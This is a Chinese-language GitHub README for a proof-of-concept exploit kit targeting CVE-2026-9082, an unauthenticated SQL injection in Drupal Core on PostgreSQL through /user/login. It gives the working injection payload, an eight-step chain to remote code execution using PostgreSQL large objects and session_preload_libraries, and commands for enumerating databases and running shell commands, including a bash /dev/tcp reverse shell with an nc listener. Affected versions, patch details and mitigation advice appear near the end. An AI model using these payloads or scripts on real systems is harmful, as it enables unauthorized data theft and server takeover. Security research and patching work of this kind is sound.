11romain/CVE-2026-9082

GitHub: 11romain/CVE-2026-9082

针对 Drupal Core PostgreSQL 后端未经身份验证 SQL 注入漏洞(CVE-2026-9082)的 PoC 利用工具,支持从注入验证到远程代码执行的完整攻击链。

Stars: 0 | Forks: 0

# CVE-2026-9082 Drupal Core 在 PostgreSQL 上通过 `POST /user/login` 存在未经身份验证的 SQL 注入,并通过 PostgreSQL 的 `session_preload_libraries` 提权至远程代码执行(RCE)。 与针对 JSON:API 的现有公开漏洞利用不同,此漏洞利用使用的是 **登录端点**(login endpoint)—— 它始终可用,不需要任何模块或已发布的内容。 ## 受影响版本 只有由 **PostgreSQL** 提供后端支持的 Drupal 网站受到影响。 | 分支 | 受影响版本 | 已修复版本 | |---|---|---| | 11.3.x | < 11.3.10 | 11.3.10 | | 11.2.x | < 11.2.12 | 11.2.12 | | 11.0.x - 11.1.x | < 11.1.10 | 11.1.10 | | 10.6.x | < 10.6.9 | 10.6.9 | | 10.5.x | < 10.5.10 | 10.5.10 | | 10.4.x | < 10.4.10 | 10.4.10 | | 8.9.x - 10.3.x | 所有版本 | 生命周期已结束 - 请升级 | ## 漏洞信息 ### 根本原因 Drupal 的 PostgreSQL 实体查询条件处理器(`core/modules/pgsql/src/EntityQuery/Condition.php`)在构建不区分大小写的 `IN` 条件时,会将 `$condition['value']` 作为关联数组进行遍历,并将**用户可控的键名**直接拼接到 PDO 占位符标识符中 —— 生成的 SQL 中包含 `LOWER(:)`,其中 `` 完全原样来源于攻击者。 只有在满足 `is_array($condition['value'])` 和 `$case_sensitive === FALSE` 这两个条件时,才会执行此代码路径。这就是为什么**只有 PostgreSQL** 受到影响的原因 —— MySQL 和 SQLite 没有这种不区分大小写的 `LOWER()` 分支。 PDO 的命名参数解析器仅识别 `:` 之后的 `[a-zA-Z0-9_]` 字符。不在此集合中的字符(例如 `|` 或 `)`)会截断占位符标记。因此,像 `0||(subquery)` 这样的键会生成占位符 `:prefix0`(与合法的键 `0` 共享),加上一段字面量 SQL `||(subquery)`,该字面量会未经参数化直接传递给 PostgreSQL。 修复方案是一个简单的 [`array_values()` 调用](https://github.com/drupal/drupal/commit/eccc454363a947d3eb71a1ca7fa0e134dce002c0),用于在生成 SQL 之前丢弃攻击者提供的键。 ### 注入向量 (`/user/login`) ``` POST /user/login?_format=json { "name": { "0": "x", "0||(SELECT CAST((SELECT version()) AS int))": "x" }, "pass": "x" } ``` `name` 字段作为 JSON 对象而非字符串发送。Drupal 会将其传入带有不区分大小写比较的实体查询 `IN` 条件中。对于每个数组键,Drupal 都会在 SQL 中生成 `LOWER(:)`。生成的查询如下所示: ``` LOWER("users_field_data"."name") IN ( LOWER(:users_field_data_name0), LOWER(:users_field_data_name0||(SELECT CAST((SELECT version()) AS int))) ) ``` PDO 将 `:users_field_data_name0` 识别为两项条目中的占位符(在第二项中遇到 `|` 时停止),并将两者都绑定到 `'x'`。剩余的 `||(SELECT ...)` 作为字面量 SQL 传递。替换后,PostgreSQL 收到的内容如下: ``` LOWER(name) IN ( LOWER('x'), LOWER('x'||(SELECT CAST((SELECT version()) AS int))) ) ``` `CAST(... AS int)` 在处理非整数数据时会失败,并且错误消息会泄露查询结果。 ### RCE 攻击链 (PostgreSQL 超级用户) 当数据库用户是 PostgreSQL 超级用户时,仅限 SELECT 的注入可以被提升为 RCE: 1. **提取**(Exfiltrate)PostgreSQL 版本、`data_directory` 和超级用户状态 2. **编译**(Compile)一个调用 `system()` 的原生 `.so` 模块 3. **上传**(Upload)`.so` 文件到 `data_directory`,通过大对象(`lo_create` -> `lo_put` -> `lo_export`)实现 4. **重写**(Rewrite)`postgresql.auto.conf` 以设置 `session_preload_libraries` 和 `dynamic_library_path` 5. **重新加载**(Reload)配置,使用 `pg_reload_conf()` 6. **触发**(Trigger)一个新的后端连接 —— PostgreSQL 加载该模块并执行命令 7. **读取**(Read)命令输出,通过 `pg_read_file()` 8. **清理**(Cleanup)—— 恢复原始配置并重新加载 ## 前置条件 **SQL 注入** (`cve_2026_9082_check.py`): - 基于 PostgreSQL 的 Drupal,任意未修复版本 - 无需身份验证 - 无需 JSON:API 模块 - 无需已发布的内容 **远程代码执行** (`cve_2026_9082_rce.py`): - 包含上述所有条件,另外需满足: - 数据库用户必须是 PostgreSQL **超级用户** - 本地可用 `docker`(用于在 macOS 上进行交叉编译) ## 用法 ### 安装依赖 ``` pip install -r requirements.txt ``` ### SQLi 检查 ``` # 验证 SQL injection python3 cve_2026_9082_check.py http://target:8081 # 使用代理(Burp、mitmproxy 等) python3 cve_2026_9082_check.py http://target:8081 --proxy http://127.0.0.1:8080 ``` ### SQLi 漏洞利用 ``` # 列出所有数据库 python3 cve_2026_9082_sqli.py http://target:8081 --dbs # 列出数据库中的表 python3 cve_2026_9082_sqli.py http://target:8081 -D drupal --tables # 列出表中的列 python3 cve_2026_9082_sqli.py http://target:8081 -D drupal -T users_field_data --columns ``` ### 远程代码执行 ``` # 运行命令 python3 cve_2026_9082_rce.py http://target:8081 "id" # Reverse shell python3 cve_2026_9082_rce.py http://target:8081 \ "bash -c 'bash -i >& /dev/tcp/{lhost}/4444 0>&1'" # Listener nc -lvnp 4444 ``` ## 演示 针对易受攻击实例的 SQLi 验证: ![SQLi 检查输出](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/859a9eb4e2105503.png) 通过基于错误的注入进行数据库枚举: ![SQLi 漏洞利用输出](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/c6bd995038105509.png) 提升至远程代码执行: ![RCE 漏洞利用输出](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/e73e9a0cd7105518.png) ## 修复方案 **立即将 Drupal 更新**至已修复版本: - 11.3.10、11.2.12、11.1.10、10.6.9、10.5.10 或 10.4.10 如果无法立即更新: - 切换到**非超级用户**(non-superuser)的数据库账户以防止 RCE 提权 - 监控日志,留意在 `name` 字段中包含 JSON 对象的异常 `POST /user/login` 请求 补丁与详情:[SA-CORE-2026-004](https://www.drupal.org/sa-core-2026-004) ## 时间线 | 日期 | 事件 | |---|---| | 2026-05-20 | Drupal 发布 SA-CORE-2026-004,发布补丁 | | 2026-05-22 | 出现野外主动利用,被加入 CISA KEV | | 2026-05-26 | Ambionics 发布通过 JSON:API 实现的 SQLi 转 RCE 技术 | | 2026-06-07 | 本工具发布 | ## 致谢 - **漏洞报告者** [Michael Maturi](https://www.drupal.org/sa-core-2026-004) - **登录向量** (`/user/login`) 描述者 [bitk & jfellus](https://www.yeswehack.com/news/cve-2026-9082-postgresql-drupal) (YesWeHack) - **RCE 技术** (`session_preload_libraries`) 提出者 [N. Maccary / Ambionics](https://blog.lexfo.fr/drupal-postgresql-sqli-to-rce.html) (Lexfo) - **本实现** —— RCE 适配 `/user/login` 向量由 r0m41n 完成 ## 免责声明 本工具仅供**授权的安全测试**和**教育目的**使用。 未经授权访问计算机系统是违法行为。作者不对本软件的任何滥用承担任何责任。在测试非您所有的系统之前,请务必获得适当的授权。
标签:CISA项目, Drupal, PostgreSQL, RCE, Web安全, 测试用例, 蓝队分析, 请求拦截, 逆向工具